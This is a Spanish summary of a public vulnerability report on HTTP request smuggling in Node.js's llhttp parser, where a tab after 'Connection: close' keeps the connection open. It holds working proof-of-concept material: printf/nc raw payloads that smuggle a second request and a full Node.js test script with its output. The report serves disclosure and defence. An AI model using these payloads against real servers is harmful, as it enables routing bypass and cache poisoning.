Reports
MEDIA[OTRAS INYECCIONES]#3723248

Request smuggling en Node.js: un tabulador tras "Connection: close" mantiene viva la conexión

El parser llhttp de Node.js ignoraba "Connection: close" si el valor terminaba en un tabulador. La conexión seguía abierta y los bytes tras el cuerpo se interpretaban como una segunda petición HTTP.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El servidor HTTP/1 de Node.js decide si cierra la conexión tras responder a una petición leyendo la cabecera Connection. Con Connection: close, o incluso con close seguido de un espacio, todo funciona como se espera: Node responde a la primera petición y no acepta otra por esa misma conexión. El problema aparece cuando el valor termina en un tabulador horizontal: en ese caso Node no aplica el cierre, mantiene viva la conexión y procesa los bytes que van justo detrás del cuerpo de la primera petición como si fueran una segunda petición.

Según el investigador, la causa parece estar en el analizador de la cabecera Connection de llhttp, el parser HTTP que usa Node. Tras reconocer el token close, el parser admite a continuación coma, espacio, CR o LF, pero no el tabulador (HTAB). Por esa rama el estado pendiente de cierre de conexión (CONNECTION_CLOSE) se pierde. La RFC 9110 define el espacio opcional como SP / HTAB.

Aunque el origen parece estar en llhttp, el reporte se dirigió a Node.js porque el comportamiento es alcanzable a través de la API por defecto http.createServer() con datos de red controlados por quien se conecta. El investigador lo reprodujo en Node.js v24.13.1, v24.15.0 y v26.1.0.

Referencias de código que cita el reporte:

  • https://github.com/nodejs/llhttp/blob/main/src/llhttp/http.ts#L794-L826
  • https://github.com/nodejs/llhttp/blob/main/src/native/http.c#L156-L169

Pasos de reproducción

  1. Arranca un servidor HTTP de Node con la configuración por defecto, que imprime la URL de cada petición recibida:
node -e "require('http').createServer((req,res)=>{console.log('request:', req.url); req.resume(); res.end('ok');}).listen(8080,'127.0.0.1',()=>console.log('listening'))"
  1. Caso de control, con Connection: close normal. Desde otra terminal se manda en un solo envío un POST con un cuerpo de 4 bytes seguido de una segunda petición:
printf 'POST /first HTTP/1.1\r\nHost: victim\r\nContent-Length: 4\r\nConnection: close\r\n\r\n1234GET /smuggled HTTP/1.1\r\nHost: victim\r\n\r\n' | nc -w 2 127.0.0.1 8080

El servidor solo registra la primera:

request: /first
  1. Segundo caso de control, con un espacio final tras close. El resultado es el mismo: solo se procesa la primera petición.
printf 'POST /first HTTP/1.1\r\nHost: victim\r\nContent-Length: 4\r\nConnection: close \r\n\r\n1234GET /smuggled HTTP/1.1\r\nHost: victim\r\n\r\n' | nc -w 2 127.0.0.1 8080
request: /first
  1. Caso vulnerable, idéntico al primero salvo por un tabulador añadido tras close:
printf 'POST /first HTTP/1.1\r\nHost: victim\r\nContent-Length: 4\r\nConnection: close\t\r\n\r\n1234GET /smuggled HTTP/1.1\r\nHost: victim\r\n\r\n' | nc -w 2 127.0.0.1 8080

Ahora el servidor procesa dos peticiones a partir de un único envío TCP:

request: /first
request: /smuggled

La única diferencia entre el caso seguro y el vulnerable es ese tabulador final. El investigador probó esta reproducción manual con nc desde WSL contra Node.js v24.15.0 y v26.1.0.

Aporta además un script opcional, node_connection_close_tab_e2e.js, que arranca un servidor y compara los tres casos (normal-close, space-after-close, tab-after-close) contando las respuestas y las URLs vistas por la aplicación:

const http = require('http');
const net = require('net');

const cases = [
  ['normal-close', 'Connection: close\r\n'],
  ['space-after-close', 'Connection: close \r\n'],
  ['tab-after-close', 'Connection: close\t\r\n'],
];

function sendRaw(port, connectionLine, expectedResponses) {
  return new Promise((resolve) => {
    const socket = net.createConnection({ port, host: '127.0.0.1' });
    let data = '';
    let settled = false;

    function finish() {
      if (settled) return;
      settled = true;
      socket.destroy();
      resolve(data);
    }

    socket.on('data', (chunk) => {
      data += chunk.toString('latin1');
      const count = [...data.matchAll(/HTTP\/1\.1 \d+/g)].length;
      if (count >= expectedResponses) {
        finish();
      }
    });
    socket.on('close', finish);
    socket.on('connect', () => {
      socket.write(
        'POST /first HTTP/1.1\r\n' +
        'Host: victim\r\n' +
        'Content-Length: 4\r\n' +
        connectionLine +
        '\r\n' +
        '1234' +
        'GET /smuggled HTTP/1.1\r\n' +
        'Host: victim\r\n' +
        '\r\n',
        'latin1',
      );
    });
  });
}

async function runCase(name, connectionLine) {
  const seen = [];
  const server = http.createServer((req, res) => {
    seen.push(req.url);
    req.resume();
    res.end('ok');
  });

  await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
  const port = server.address().port;
  const expectedResponses = name === 'tab-after-close' ? 2 : 1;
  const response = await sendRaw(port, connectionLine, expectedResponses);
  await new Promise((resolve) => server.close(resolve));

  console.log(`CASE ${name}`);
  console.log(`  seen=${JSON.stringify(seen)}`);
  console.log(`  response_statuses=${JSON.stringify([...response.matchAll(/HTTP\/1\.1 (\d+)/g)].map((m) => m[1]))}`);
}

(async () => {
  for (const [name, connectionLine] of cases) {
    await runCase(name, connectionLine);
  }
})().catch((err) => {
  console.error(err);
  process.exitCode = 1;
});

Se ejecuta así:

node node_connection_close_tab_e2e.js

Su salida confirma el comportamiento: los dos primeros casos ven una sola URL y una sola respuesta, mientras que el del tabulador ve dos:

CASE normal-close
  seen=["/first"]
  response_statuses=["200"]
CASE space-after-close
  seen=["/first"]
  response_statuses=["200"]
CASE tab-after-close
  seen=["/first","/smuggled"]
  response_statuses=["200","200"]

Impacto

Un cliente remoto y sin autenticar puede enviar una única carga TCP que Node expone a la aplicación como dos peticiones HTTP, pese a que la primera pedía cerrar la conexión con Connection: close. Dicho de otro modo, se inyecta una petición extra en una conexión que debería haberse cerrado tras la primera.

Esto puede romper las suposiciones de servidores, proxies inversos y pasarelas que confían en Connection: close para delimitar una conexión. En un montaje con varios saltos, un frontend o un intermediario que interprete Connection: close<TAB> como Connection: close puede quedar desincronizado respecto a Node, mientras Node sigue analizando los bytes controlados por el atacante como una petición nueva.

El resultado práctico es HTTP request smuggling o desincronización de la cola de peticiones. Según el despliegue, puede derivar en saltarse reglas de enrutado, envenenamiento de caché o que la petición inyectada se procese bajo suposiciones de conexión pensadas solo para la petición anterior. El reporte no asume ningún producto de proxy ni fallo de autorización concreto: la prueba de concepto demuestra el comportamiento del parser de Node que hace posible ese tipo de cadenas.

Referencias que aporta el investigador:

  • RFC 9110, espacio opcional como SP / HTAB: https://www.rfc-editor.org/rfc/rfc9110#section-5.6.3
  • RFC 9110, cabecera Connection: https://www.rfc-editor.org/rfc/rfc9110#section-7.6.1